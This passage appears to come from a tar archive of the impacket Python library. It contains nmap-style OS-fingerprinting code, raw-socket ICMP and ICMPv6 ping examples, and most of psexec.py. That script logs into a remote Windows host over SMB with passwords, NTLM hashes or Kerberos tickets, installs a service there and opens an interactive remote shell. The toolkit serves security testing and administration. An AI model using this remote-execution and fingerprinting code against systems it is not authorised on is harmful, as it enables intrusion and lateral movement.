nmap1_seq.IPID_SEQ_UNKNOWN def ts_sequence(self): if self.seq_num_responses < 2: return nmap1_seq.TS_SEQ_UNKNOWN # Battle plan: # 1) Compute average increments per second, and variance in incr. per second. # 2) If any are 0, set to constant. # 3) If variance is high, set to random incr. [ skip for now ] # 4) if ~10/second, set to appropriate thing. # 5) Same with ~100/s. avg_freq = 0.0 for i in xrange(0, self.seq_num_responses - 1): dhz = self.ts_diffs[i] / self.time_diffs[i] avg_freq += dhz / (self.seq_num_responses - 1) PyImpact.t_log(2, "The avg TCP TS HZ is: %f" % avg_freq) if 0 < avg_freq and avg_freq < 3.9: return nmap1_seq.TS_SEQ_2HZ if 85 < avg_freq and avg_freq < 115: return nmap1_seq.TS_SEQ_100HZ if 900 < avg_freq and avg_freq < 1100: return nmap1_seq.TS_SEQ_1000HZ return nmap1_seq.TS_SEQ_UNKNOWN def seq_sequence(self): self.seq_gcd = reduce(my_gcd, self.seq_diffs) avg_incr = 0 seqclass = nmap1_seq.SEQ_UNKNOWN if 0 != self.seq_gcd: map(lambda x, gcd = self.seq_gcd: x / gcd, self.seq_diffs) for i in xrange(0, self.seq_num_responses - 1): if abs(self.seq_responses[i+1].get_seq() - self.seq_responses[i].get_seq()) > 50000000: seqclass = nmap1_seq.SEQ_TR; self.index = 9999999 break avg_incr += self.seq_diffs[i] if 0 == self.seq_gcd: seqclass = nmap1_seq.SEQ_CONSTANT self.index = 0 elif 0 == self.seq_gcd % 64000: seqclass = nmap1_seq.SEQ_64K self.index = 1 elif 0 == self.seq_gcd % 800: seqclass = nmap1_seq.SEQ_i800 self.index = 10 elif nmap1_seq.SEQ_UNKNOWN == seqclass: avg_incr = int(.5 + avg_incr / (self.seq_num_responses - 1)) sum_incr = 0.0 for i in range(0, self.seq_num_responses - 1): d = abs(self.seq_diffs[i] - avg_incr) sum_incr += float(d * d) sum_incr /= self.seq_num_responses - 1 self.index = int(.5 + math.sqrt(sum_incr)) if self.index < 75: seqclass = nmap1_seq.SEQ_TD else: seqclass = nmap1_seq.SEQ_RI return seqclass seqclasses = { nmap1_seq.SEQ_64K: '64K', nmap1_seq.SEQ_TD: 'TD', nmap1_seq.SEQ_RI: 'RI', nmap1_seq.SEQ_TR: 'TR', nmap1_seq.SEQ_i800: 'i800', nmap1_seq.SEQ_CONSTANT: 'C', } def add_seqclass(self, id): self.add_result('CLASS', nmap1_seq_container.seqclasses[id]) if nmap1_seq.SEQ_CONSTANT == id: self.add_result('VAL', '%i' % self.seq_responses[0].get_seq()) elif id in (nmap1_seq.SEQ_TD, nmap1_seq.SEQ_RI): self.add_result('GCD', '%i' % self.seq_gcd) self.add_result('SI', '%i' % self.index) tsclasses = { nmap1_seq.TS_SEQ_ZERO: '0', nmap1_seq.TS_SEQ_2HZ: '2HZ', nmap1_seq.TS_SEQ_100HZ: '100HZ', nmap1_seq.TS_SEQ_1000HZ: '1000HZ', nmap1_seq.TS_SEQ_UNSUPPORTED: 'U', } def add_tsclass(self, id): self.add_result('TS', nmap1_seq_container.tsclasses[id]) ipidclasses = { nmap1_seq.IPID_SEQ_INCR: 'I', nmap1_seq.IPID_SEQ_BROKEN_INCR: 'BI', nmap1_seq.IPID_SEQ_RPI: 'RPI', nmap1_seq.IPID_SEQ_RD: 'RD', nmap1_seq.IPID_SEQ_CONSTANT: 'C', nmap1_seq.IPID_SEQ_ZERO: 'Z', } def add_ipidclass(self, id): self.add_result('IPID', nmap1_seq_container.ipidclasses[id]) class nmap2_seq_container(os_id_test): def __init__(self, num_seq_samples, responses, seq_diffs, ts_diffs, time_diffs): os_id_test.__init__(self, 0) self.num_seq_samples = num_seq_samples self.seq_responses = responses self.seq_num_responses = len(responses) self.seq_diffs = seq_diffs self.ts_diffs = ts_diffs self.time_diffs = time_diffs self.pre_ts_seqclass = nmap2_seq.TS_SEQ_UNKNOWN def test_id(self): return "SEQ" def set_ts_seqclass(self, ts_seqclass): self.pre_ts_seqclass = ts_seqclass def process(self): if self.seq_num_responses >= 4: self.calc_ti() self.calc_ts() self.calc_sp() else: self.add_result('R', 'N') PyImpact.t_log(1, "Insufficient responses for TCP sequencing (%d out of %d), OS detection may be less accurate." % (self.seq_num_responses, self.num_seq_samples)) def get_final_result(self): return {self.test_id(): self.get_result_dict()} def calc_ti(self): if self.seq_num_responses < 2: return ipidclasses = { nmap2_seq.IPID_SEQ_INCR: 'I', nmap2_seq.IPID_SEQ_BROKEN_INCR: 'BI', nmap2_seq.IPID_SEQ_RPI: 'RI', nmap2_seq.IPID_SEQ_RD: 'RD', nmap2_seq.IPID_SEQ_CONSTANT: 'C', nmap2_seq.IPID_SEQ_ZERO: 'Z', } ipid_diffs = array.array('H', [0] * (self.seq_num_responses - 1)) # Random and zero null_ipids = 1 for i in xrange(1, self.seq_num_responses): prev_ipid = self.seq_responses[i-1].get_ipid() cur_ipid = self.seq_responses[i].get_ipid() if prev_ipid != 0 or cur_ipid != 0: null_ipids = 0 if prev_ipid <= cur_ipid: ipid_diffs[i-1] = cur_ipid - prev_ipid else: ipid_diffs[i-1] = (cur_ipid - prev_ipid + 65536) & 0xffff if self.seq_num_responses > 2 and ipid_diffs[i-1] > 20000: self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RD]) return if null_ipids: self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_ZERO]) return # Constant all_zero = 1 for i in xrange(0, self.seq_num_responses - 1): if ipid_diffs[i] != 0: all_zero = 0 break if all_zero: self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_CONSTANT]) return # Random positive increments for i in xrange(0, self.seq_num_responses - 1): if ipid_diffs[i] > 1000 and \ ((ipid_diffs[i] % 256 != 0) or \ ((ipid_diffs[i] % 256 == 0) and (ipid_diffs[i] >= 25600))): self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_RPI]) return # Broken Increment and Incremental is_incremental = 1 # All diferences are less than 10 is_ms = 1 # All diferences are multiples of 256 and no greater than 5120 for i in xrange(0, self.seq_num_responses - 1): if is_ms and ((ipid_diffs[i] > 5120) or (ipid_diffs[i] % 256) != 0): is_ms = 0 if is_incremental and ipid_diffs[i] > 9: is_incremental = 0 if is_ms: self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_BROKEN_INCR]) elif is_incremental: self.add_result('TI', ipidclasses[nmap2_seq.IPID_SEQ_INCR]) def calc_ts(self): # 1. If any of the responses have no timestamp option, TS # is set to U (unsupported). # 2. If any of the timestamp values are zero, TS is set to 0. # 3. If the average increments per second falls within the # ranges 0-5.66, 70-150, or 150-350, TS is set to 1, 7, or 8, # respectively. These three ranges get special treatment # because they correspond to the 2 Hz, 100 Hz, and 200 Hz # frequencies used by many hosts. # 4. In all other cases, Nmap records the binary logarithm of # the average increments per second, rounded to the nearest # integer. Since most hosts use 1,000 Hz frequencies, A is # a common result. if self.pre_ts_seqclass == nmap2_seq.TS_SEQ_ZERO: self.add_result('TS', '0') elif self.pre_ts_seqclass == nmap2_seq.TS_SEQ_UNSUPPORTED: self.add_result('TS', 'U') elif self.seq_num_responses < 2: return avg_freq = 0.0 for i in xrange(0, self.seq_num_responses - 1): dhz = self.ts_diffs[i] / self.time_diffs[i] avg_freq += dhz / (self.seq_num_responses - 1) PyImpact.t_log(2, "The avg TCP TS HZ is: %f" % avg_freq) if avg_freq <= 5.66: self.add_result('TS', "1") elif 70 < avg_freq and avg_freq <= 150: self.add_result('TS', "7") elif 150 < avg_freq and avg_freq <= 350: self.add_result('TS', "8") else: ts = int(round(.5 + math.log(avg_freq)/math.log(2))) self.add_result('TS', "%X" % ts) def calc_sp(self): seq_gcd = reduce(my_gcd, self.seq_diffs) seq_avg_rate = 0.0 for i in xrange(0, self.seq_num_responses - 1): seq_avg_rate += self.seq_diffs[i] / self.time_diffs[i] seq_avg_rate /= (self.seq_num_responses - 1) seq_rate = seq_avg_rate si_index = 0 seq_stddev = 0 if 0 == seq_gcd: seq_rate = 0 else: seq_rate = int(round(.5 + (math.log(seq_rate) / math.log(2)) * 8)) div_gcd = 1 if seq_gcd > 9: div_gcd = seq_gcd for i in xrange(0, self.seq_num_responses - 1): rtmp = (self.seq_diffs[i] / self.time_diffs[i]) / div_gcd - \ seq_avg_rate / div_gcd seq_stddev += rtmp * rtmp seq_stddev /= self.seq_num_responses - 2 seq_stddev = math.sqrt(seq_stddev) if seq_stddev <= 1: si_index = 0 else: si_index = int(round(.5 + (math.log(seq_stddev) / math.log(2)) * 8.0)) self.add_result('SP', "%X" % si_index) self.add_result('GCD', "%X" % seq_gcd) self.add_result('ISR', "%X" % seq_rate) class nmap2_ops_container(os_id_test): def __init__(self, responses): os_id_test.__init__(self, 0) self.seq_responses = responses self.seq_num_responses = len(responses) def test_id(self): return "OPS" def process(self): if self.seq_num_responses != 6: self.add_result('R', 'N') return for i in xrange(0, self.seq_num_responses): tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(), self.seq_responses[i].get_tcp(), 0, 0) self.add_result("O%i" % (i+1), tests.get_options()) def get_final_result(self): if not self.get_result_dict(): return None else: return {self.test_id(): self.get_result_dict()} class nmap2_win_container(os_id_test): def __init__(self, responses): os_id_test.__init__(self, 0) self.seq_responses = responses self.seq_num_responses = len(responses) def test_id(self): return "WIN" def process(self): if self.seq_num_responses != 6: self.add_result('R', 'N') return for i in xrange(0, self.seq_num_responses): tests = nmap2_tcp_tests(self.seq_responses[i].get_ip(), self.seq_responses[i].get_tcp(), 0, 0) self.add_result("W%i" % (i+1), tests.get_win()) def get_final_result(self): if not self.get_result_dict(): return None else: return {self.test_id(): self.get_result_dict()} class nmap2_t1_container(os_id_test): def __init__(self, responses, seq_base): os_id_test.__init__(self, 0) self.seq_responses = responses self.seq_num_responses = len(responses) self.seq_base = seq_base def test_id(self): return "T1" def process(self): # R, DF, T*, TG*, W-, S, A, F, O-, RD*, Q if self.seq_num_responses < 1: self.add_result("R","N") return response = self.seq_responses[0] tests = nmap2_tcp_tests(response.get_ip(), response.get_tcp(), self.seq_base, nmap2_tcp_probe.acknowledgment) self.add_result("R", "Y") self.add_result("DF", tests.get_df()) self.add_result("S", tests.get_seq()) self.add_result("A", tests.get_ack()) self.add_result("F", tests.get_flags()) self.add_result("Q", tests.get_quirks()) def get_final_result(self): if not self.get_result_dict(): return None else: return {self.test_id(): self.get_result_dict()} class nmap2_icmp_container(os_id_test): def __init__(self, responses): os_id_test.__init__(self, 0) self.icmp_responses = responses self.icmp_num_responses = len(responses) def test_id(self): return "IE" def process(self): # R, DFI, T*, TG*, TOSI, CD, SI, DLI* if self.icmp_num_responses != 2: self.add_result("R","N") return ip1 = self.icmp_responses[0].child() ip2 = self.icmp_responses[1].child() icmp1 = ip1.child() icmp2 = ip2.child() self.add_result("R", "Y") # Value Description # N Neither of the ping responses have the DF bit set. # S Both responses echo the DF value of the probe. # Y Both of the response DF bits are set. # O The one remaining other combination-both responses have the DF bit toggled. if not ip1.get_ip_df() and not ip2.get_ip_df(): self.add_result("DFI","N") elif ip1.get_ip_df() and not ip2.get_ip_df(): self.add_result("DFI","S") elif ip1.get_ip_df() and ip2.get_ip_df(): self.add_result("DFI","Y") else: self.add_result("DFI","O") # Value Description # Z Both TOS values are zero. # S Both TOS values are each the same as in the corresponding probe. # When they both use the same non-zero number, it is recorded here. # O Any other combination. if ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 0: self.add_result("TOSI","Z") elif ip1.get_ip_tos() == 0 and ip2.get_ip_tos() == 4: self.add_result("TOSI","S") elif ip1.get_ip_tos() == ip2.get_ip_tos(): self.add_result("TOSI","%X" % ip1.get_ip_tos()) else: self.add_result("TOSI","O") # Value Description # Z Both code values are zero. # S Both code values are the same as in the corresponding probe. # When they both use the same non-zero number, it is shown here. # O Any other combination. if icmp1.get_icmp_code() == 0 and icmp2.get_icmp_code() == 0: self.add_result("CD","Z") elif icmp1.get_icmp_code() == 9 and icmp2.get_icmp_code() == 0: self.add_result("CD","S") elif icmp1.get_icmp_code() == icmp2.get_icmp_code(): self.add_result("CD","%X" % icmp1.get_icmp_code()) else: self.add_result("CD","O") # Value Description # Z Both sequence numbers are set to 0. # S Both sequence numbers echo the ones from the probes. # When they both use the same non-zero number, it is recorded here. # O Any other combination. if icmp1.get_icmp_seq() == 0 and icmp2.get_icmp_seq() == 0: self.add_result("SI","Z") elif (icmp1.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number and icmp2.get_icmp_seq() == nmap2_icmp_echo_probe_1.sequence_number + 1): self.add_result("SI","S") elif icmp1.get_icmp_seq() == icmp2.get_icmp_seq(): self.add_result("SI","%X" % icmp1.get_icmp_code()) else: self.add_result("SI","O") def get_final_result(self): if not self.get_result_dict(): return None else: return {self.test_id(): self.get_result_dict()} class nmap1_tcp_closed_1(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0) self.t.set_SYN() def test_id(self): return "T5" def is_mine(self, packet): if tcp_probe.is_mine(self, packet): ip = packet.child() if not ip: return 0 tcp = ip.child() if not tcp: return 0 if tcp.get_RST(): return 1 else: return 0 else: return 0 class nmap2_tcp_closed_1(nmap2_tcp_probe_2_6): # ... # T5 sends a TCP SYN packet without IP DF and a window field of # 31337 to a closed port # ... def __init__(self, id, addresses, tcp_ports): nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0) self.t.set_SYN() self.i.set_ip_df(0) self.t.set_th_win(31337) def test_id(self): return "T5" class nmap1_tcp_closed_2(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0) self.t.set_ACK() def test_id(self): return "T6" class nmap2_tcp_closed_2(nmap2_tcp_probe_2_6): # ... # T6 sends a TCP ACK packet with IP DF and a window field of # 32768 to a closed port. # ... def __init__(self, id, addresses, tcp_ports): nmap2_tcp_probe_2_6.__init__(self, id, addresses, tcp_ports, 0) self.t.set_ACK() self.i.set_ip_df(1) self.t.set_th_win(32768) def test_id(self): return "T6" class nmap1_tcp_closed_3(nmap1_tcp_probe): def __init__(self, id, addresses, tcp_ports): nmap1_tcp_probe.__init__(self, id, addresses, tcp_ports, 0) self.t.set_FIN() self.t.set_URG() self.t.set_PSH() def test_id(self): return "T7" class nmap2_tcp_closed_3(nmap2_tcp_probe_7): # ... # T7 sends a TCP packet with the FIN, PSH, and URG flags set and a # window field of 65535 to a closed port. The IP DF bit is not set. # ... def __init__(self, id, addresses, tcp_ports): nmap2_tcp_probe_7.__init__(self, id, addresses, tcp_ports, 0) self.t.set_FIN() self.t.set_URG() self.t.set_PSH() self.t.set_th_win(65535) self.i.set_ip_df(0) def test_id(self): return "T7" class NMAP2_OS_Class: def __init__(self, vendor, name, family, device_type): self.__vendor = vendor self.__name = name self.__family = family self.__device_type = device_type def get_vendor(self): return self.__vendor def get_name(self): return self.__name def get_family(self): return self.__family def get_device_type(self): return self.__device_type class NMAP2_Fingerprint: def __init__(self, id, os_class, tests): self.__id = id self.__os_class = os_class self.__tests = tests def get_id(self): return self.__id def get_os_class(self): return self.__os_class def get_tests(self): return self.__tests def __str__(self): ret = "FP: [%s]" % self.__id ret += "\n vendor: %s" % self.__os_class.get_vendor() ret += "\n name: %s" % self.__os_class.get_name() ret += "\n family: %s" % self.__os_class.get_family() ret += "\n device_type: %s" % self.__os_class.get_device_type() for test in self.__tests: ret += "\n test: %s" % test for pair in self.__tests[test]: ret += "\n %s = [%s]" % (pair, self.__tests[test][pair]) return ret literal_conv = { "RIPL" : { "G" : 0x148 }, "RID" : { "G" : 0x1042 }, "RUL" : { "G" : 0x134 } } def parse_int(self, field, value): try: return int(value, 16) except ValueError, err: if NMAP2_Fingerprint.literal_conv.has_key( field ): if NMAP2_Fingerprint.literal_conv[field].has_key(value): return NMAP2_Fingerprint.literal_conv[field][value] return 0 def match(self, field, ref, value): options = ref.split("|") for option in options: if option.startswith(">"): if self.parse_int(field, value) > \ self.parse_int(field, option[1:]): return True elif option.startswith("<"): if self.parse_int(field, value) < \ self.parse_int(field, option[1:]): return True elif option.find("-") > -1: range = option.split("-") if (self.parse_int(field, value) >= \ self.parse_int(field, range[0]) and \ self.parse_int(field, value) <= \ self.parse_int(field, range[1])): return True else: if str(value) == str(option): return True return False def compare(self, sample, mp): max_points = 0 total_points = 0 for test in self.__tests: # ignore unknown response lines: if not sample.has_key(test): continue for field in self.__tests[test]: # ignore unsupported fields: if not sample[test].has_key(field) or \ not mp.has_key(test) or \ not mp[test].has_key(field): continue ref = self.__tests[test][field] value = sample[test][field] points = int(mp[test][field]) max_points += points if self.match(field, ref, value): total_points += points return (total_points / float(max_points)) * 100 class NMAP2_Fingerprint_Matcher: def __init__(self, filename): self.__filename = filename def find_matches(self, res, threshold): output = [] try: infile = open(self.__filename,"r") mp = self.parse_mp(self.matchpoints(infile)) for fingerprint in self.fingerprints(infile): fp = self.parse_fp(fingerprint) similarity = fp.compare(res, mp) if similarity >= threshold: print "\"%s\" matches with an accuracy of %.2f%%" \ % (fp.get_id(), similarity) output.append((similarity / 100, fp.get_id(), (fp.get_os_class().get_vendor(), fp.get_os_class().get_name(), fp.get_os_class().get_family(), fp.get_os_class().get_device_type()))) infile.close() except IOError, err: print "IOError: %s", err return output def sections(self, infile, token): OUT = 0 IN = 1 state = OUT output = [] for line in infile: line = line.strip() if state == OUT: if line.startswith(token): state = IN output = [line] elif state == IN: if line: output.append(line) else: state = OUT yield output output = [] if output: yield output def fingerprints(self, infile): for section in self.sections(infile,"Fingerprint"): yield section def matchpoints(self, infile): return self.sections(infile,"MatchPoints").next() def parse_line(self, line): name = line[:line.find("(")] pairs = line[line.find("(") + 1 : line.find(")")] test = {} for pair in pairs.split("%"): pair = pair.split("=") test[pair[0]] = pair[1] return (name, test) def parse_fp(self, fp): tests = {} for line in fp: if line.startswith("#"): continue elif line.startswith("Fingerprint"): fingerprint = line[len("Fingerprint") + 1:] elif line.startswith("Class"): (vendor, name, family, device_type) = line[len("Class") + 1:].split("|") os_class = NMAP2_OS_Class(vendor.strip(), name.strip(), family.strip(), device_type.strip()) else: test = self.parse_line(line) tests[test[0]] = test[1] return NMAP2_Fingerprint(fingerprint, os_class, tests) def parse_mp(self, fp): tests = {} for line in fp: if line.startswith("#"): continue elif line.startswith("MatchPoints"): continue else: test = self.parse_line(line) tests[test[0]] = test[1] return tests impacket-0.9.15/examples/ping.py0000700000076500000000000000470212734531507016602 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Simple ICMP ping. # # This implementation of ping uses the ICMP echo and echo-reply packets # to check the status of a host. If the remote host is up, it should reply # to the echo probe with an echo-reply packet. # Note that this isn't a definite test, as in the case the remote host is up # but refuses to reply the probes. # Also note that the user must have special access to be able to open a raw # socket, which this program requires. # # Authors: # Gerardo Richarte # Javier Kohen # # Reference for: # ImpactPacket: IP, ICMP, DATA. # ImpactDecoder. import select import socket import time import sys from impacket import ImpactDecoder, ImpactPacket if len(sys.argv) < 3: print "Use: %s " % sys.argv[0] sys.exit(1) src = sys.argv[1] dst = sys.argv[2] # Create a new IP packet and set its source and destination addresses. ip = ImpactPacket.IP() ip.set_ip_src(src) ip.set_ip_dst(dst) # Create a new ICMP packet of type ECHO. icmp = ImpactPacket.ICMP() icmp.set_icmp_type(icmp.ICMP_ECHO) # Include a 156-character long payload inside the ICMP packet. icmp.contains(ImpactPacket.Data("A"*156)) # Have the IP packet contain the ICMP packet (along with its payload). ip.contains(icmp) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_ICMP) s.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1) seq_id = 0 while 1: # Give the ICMP packet the next ID in the sequence. seq_id += 1 icmp.set_icmp_id(seq_id) # Calculate its checksum. icmp.set_icmp_cksum(0) icmp.auto_checksum = 1 # Send it to the target host. s.sendto(ip.get_packet(), (dst, 0)) # Wait for incoming replies. if s in select.select([s],[],[],1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.IPDecoder().decode(reply) # Extract the ICMP packet from its container (the IP packet). ricmp = rip.child() # If the packet matches, report it to the user. if rip.get_ip_dst() == src and rip.get_ip_src() == dst and icmp.ICMP_ECHOREPLY == ricmp.get_icmp_type(): print "Ping reply for sequence #%d" % ricmp.get_icmp_id() time.sleep(1) impacket-0.9.15/examples/ping6.py0000700000076500000000000000453612734531507016675 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # Simple ICMP6 ping. # # This implementation of ping uses the ICMP echo and echo-reply packets # to check the status of a host. If the remote host is up, it should reply # to the echo probe with an echo-reply packet. # Note that this isn't a definite test, as in the case the remote host is up # but refuses to reply the probes. # Also note that the user must have special access to be able to open a raw # socket, which this program requires. # # Authors: # Alberto Solino (@agsolino) # # Reference for: # ImpactPacket: ICMP6 # ImpactDecoder. import select import socket import time import sys from impacket import ImpactDecoder, ImpactPacket, IP6, ICMP6, version print version.BANNER if len(sys.argv) < 3: print "Use: %s " % sys.argv[0] sys.exit(1) src = sys.argv[1] dst = sys.argv[2] # Create a new IP packet and set its source and destination addresses. ip = IP6.IP6() ip.set_source_address(src) ip.set_destination_address(dst) ip.set_traffic_class(0) ip.set_flow_label(0) ip.set_hop_limit(64) # Open a raw socket. Special permissions are usually required. s = socket.socket(socket.AF_INET6, socket.SOCK_RAW, socket.IPPROTO_ICMPV6) payload = "A"*156 print "PING %s %d data bytes" % (dst, len(payload)) seq_id = 0 while 1: # Give the ICMP packet the next ID in the sequence. seq_id += 1 icmp = ICMP6.ICMP6.Echo_Request(1, seq_id, payload) # Have the IP packet contain the ICMP packet (along with its payload). ip.contains(icmp) ip.set_next_header(ip.child().get_ip_protocol_number()) ip.set_payload_length(ip.child().get_size()) icmp.calculate_checksum() # Send it to the target host. s.sendto(icmp.get_packet(), (dst, 0)) # Wait for incoming replies. if s in select.select([s],[],[],1)[0]: reply = s.recvfrom(2000)[0] # Use ImpactDecoder to reconstruct the packet hierarchy. rip = ImpactDecoder.ICMP6Decoder().decode(reply) # If the packet matches, report it to the user. if ICMP6.ICMP6.ECHO_REPLY == rip.get_type(): print "%d bytes from %s: icmp_seq=%d " % (rip.child().get_size()-4,dst,rip.get_echo_sequence_number()) time.sleep(1) impacket-0.9.15/examples/psexec.py0000700000076500000000000004354412734531507017143 0ustar betowheel00000000000000#!/usr/bin/python # Copyright (c) 2003-2016 CORE Security Technologies # # This software is provided under under a slightly modified version # of the Apache Software License. See the accompanying LICENSE file # for more information. # # PSEXEC like functionality example using RemComSvc (https://github.com/kavika13/RemCom) # # Author: # beto (@agsolino) # # Reference for: # DCE/RPC and SMB. import sys import os import cmd import logging from threading import Thread, Lock import argparse import random import string import time from impacket.examples import logger from impacket import version, smb from impacket.smbconnection import SMBConnection from impacket.dcerpc.v5 import transport from impacket.structure import Structure from impacket.examples import remcomsvc, serviceinstall class RemComMessage(Structure): structure = ( ('Command','4096s=""'), ('WorkingDir','260s=""'), ('Priority',' 0: try: s.waitNamedPipe(tid,pipe) pipeReady = True except: tries -= 1 time.sleep(2) pass if tries == 0: logging.critical('Pipe not ready, aborting') raise fid = s.openFile(tid,pipe,accessMask, creationOption = 0x40, fileAttributes = 0x80) return fid def doStuff(self, rpctransport): dce = rpctransport.get_dce_rpc() try: dce.connect() except Exception, e: logging.critical(str(e)) sys.exit(1) global dialect dialect = rpctransport.get_smb_connection().getDialect() try: unInstalled = False s = rpctransport.get_smb_connection() # We don't wanna deal with timeouts from now on. s.setTimeout(100000) if self.__exeFile is None: installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), remcomsvc.RemComSvc()) else: try: f = open(self.__exeFile) except Exception, e: logging.critical(str(e)) sys.exit(1) installService = serviceinstall.ServiceInstall(rpctransport.get_smb_connection(), f) installService.install() if self.__exeFile is not None: f.close() # Check if we need to copy a file for execution if self.__copyFile is not None: installService.copy_file(self.__copyFile, installService.getShare(), os.path.basename(self.__copyFile)) # And we change the command to be executed to this filename self.__command = os.path.basename(self.__copyFile) + ' ' + self.__command tid = s.connectTree('IPC$') fid_main = self.openPipe(s,tid,'\RemCom_communicaton',0x12019f) packet = RemComMessage() pid = os.getpid() packet['Machine'] = ''.join([random.choice(string.letters) for _ in range(4)]) if self.__path is not None: packet['WorkingDir'] = self.__path packet['Command'] = self.__command packet['ProcessID'] = pid s.writeNamedPipe(tid, fid_main, str(packet)) # Here we'll store the command we type so we don't print it back ;) # ( I know.. globals are nasty :P ) global LastDataSent LastDataSent = '' # Create the pipes threads stdin_pipe = RemoteStdInPipe(rpctransport, '\%s%s%d' % (RemComSTDIN, packet['Machine'], packet['ProcessID']), smb.FILE_WRITE_DATA | smb.FILE_APPEND_DATA, installService.getShare()) stdin_pipe.start() stdout_pipe = RemoteStdOutPipe(rpctransport, '\%s%s%d' % (RemComSTDOUT, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA) stdout_pipe.start() stderr_pipe = RemoteStdErrPipe(rpctransport, '\%s%s%d' % (RemComSTDERR, packet['Machine'], packet['ProcessID']), smb.FILE_READ_DATA) stderr_pipe.start() # And we stay here till the end ans = s.readNamedPipe(tid,fid_main,8) if len(ans): retCode = RemComResponse(ans) logging.info("Process %s finished with ErrorCode: %d, ReturnCode: %d" % ( self.__command, retCode['ErrorCode'], retCode['ReturnCode'])) installService.uninstall() if self.__copyFile is not None: # We copied a file for execution, let's remove it s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) unInstalled = True sys.exit(retCode['ErrorCode']) except SystemExit: raise except: if unInstalled is False: installService.uninstall() if self.__copyFile is not None: s.deleteFile(installService.getShare(), os.path.basename(self.__copyFile)) sys.stdout.flush() sys.exit(1) class Pipes(Thread): def __init__(self, transport, pipe, permissions, share=None): Thread.__init__(self) self.server = 0 self.transport = transport self.credentials = transport.get_credentials() self.tid = 0 self.fid = 0 self.share = share self.port = transport.get_dport() self.pipe = pipe self.permissions = permissions self.daemon = True def connectPipe(self): try: lock.acquire() global dialect #self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.server = SMBConnection('*SMBSERVER', self.transport.get_smb_connection().getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.server.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.server.login(user, passwd, domain, lm, nt) lock.release() self.tid = self.server.connectTree('IPC$') self.server.waitNamedPipe(self.tid, self.pipe) self.fid = self.server.openFile(self.tid,self.pipe,self.permissions, creationOption = 0x40, fileAttributes = 0x80) self.server.setTimeout(1000000) except: logging.error("Something wen't wrong connecting the pipes(%s), try again" % self.__class__) class RemoteStdOutPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: global LastDataSent if ans != LastDataSent: sys.stdout.write(ans.decode('cp437')) sys.stdout.flush() else: # Don't echo what I sent, and clear it up LastDataSent = '' # Just in case this got out of sync, i'm cleaning it up if there are more than 10 chars, # it will give false positives tho.. we should find a better way to handle this. if LastDataSent > 10: LastDataSent = '' except: pass class RemoteStdErrPipe(Pipes): def __init__(self, transport, pipe, permisssions): Pipes.__init__(self, transport, pipe, permisssions) def run(self): self.connectPipe() while True: try: ans = self.server.readFile(self.tid,self.fid, 0, 1024) except: pass else: try: sys.stderr.write(str(ans)) sys.stderr.flush() except: pass class RemoteShell(cmd.Cmd): def __init__(self, server, port, credentials, tid, fid, share, transport): cmd.Cmd.__init__(self, False) self.prompt = '\x08' self.server = server self.transferClient = None self.tid = tid self.fid = fid self.credentials = credentials self.share = share self.port = port self.transport = transport self.intro = '[!] Press help for extra shell commands' def connect_transferClient(self): #self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port = self.port, preferredDialect = SMB_DIALECT) self.transferClient = SMBConnection('*SMBSERVER', self.server.getRemoteHost(), sess_port=self.port, preferredDialect=dialect) user, passwd, domain, lm, nt, aesKey, TGT, TGS = self.credentials if self.transport.get_kerberos() is True: self.transferClient.kerberosLogin(user, passwd, domain, lm, nt, aesKey, kdcHost=self.transport.get_kdcHost(), TGT=TGT, TGS=TGS) else: self.transferClient.login(user, passwd, domain, lm, nt) def do_help(self, line): print """ lcd {path} - changes the current local directory to {path} exit - terminates the server process (and this session) put {src_file, dst_path} - uploads a local file to the dst_path RELATIVE to the connected share (%s) get {file} - downloads pathname RELATIVE to the connected share (%s) to the current local dir ! {cmd} - executes a local shell cmd """ % (self.share, self.share) self.send_data('\r\n', False) def do_shell(self, s): os.system(s) self.send_data('\r\n') def do_get(self, src_path): try: if self.transferClient is None: self.connect_transferClient() import ntpath filename = ntpath.basename(src_path) fh = open(filename,'wb') logging.info("Downloading %s\%s" % (self.share, src_path)) self.transferClient.getFile(self.share, src_path, fh.write) fh.close() except Exception, e: logging.critical(str(e)) pass self.send_data('\r\n') def do_put(self, s): try: if self.transferClient is None: self.connect_transferClient() params = s.split(' ') if len(params) > 1: src_path = params[0] dst_path = params[1] elif len(params) == 1: src_path = params[0] dst_path = '/' src_file = os.path.basename(src_path) fh = open(src_path, 'rb') f = dst_path + '/' + src_file pathname = 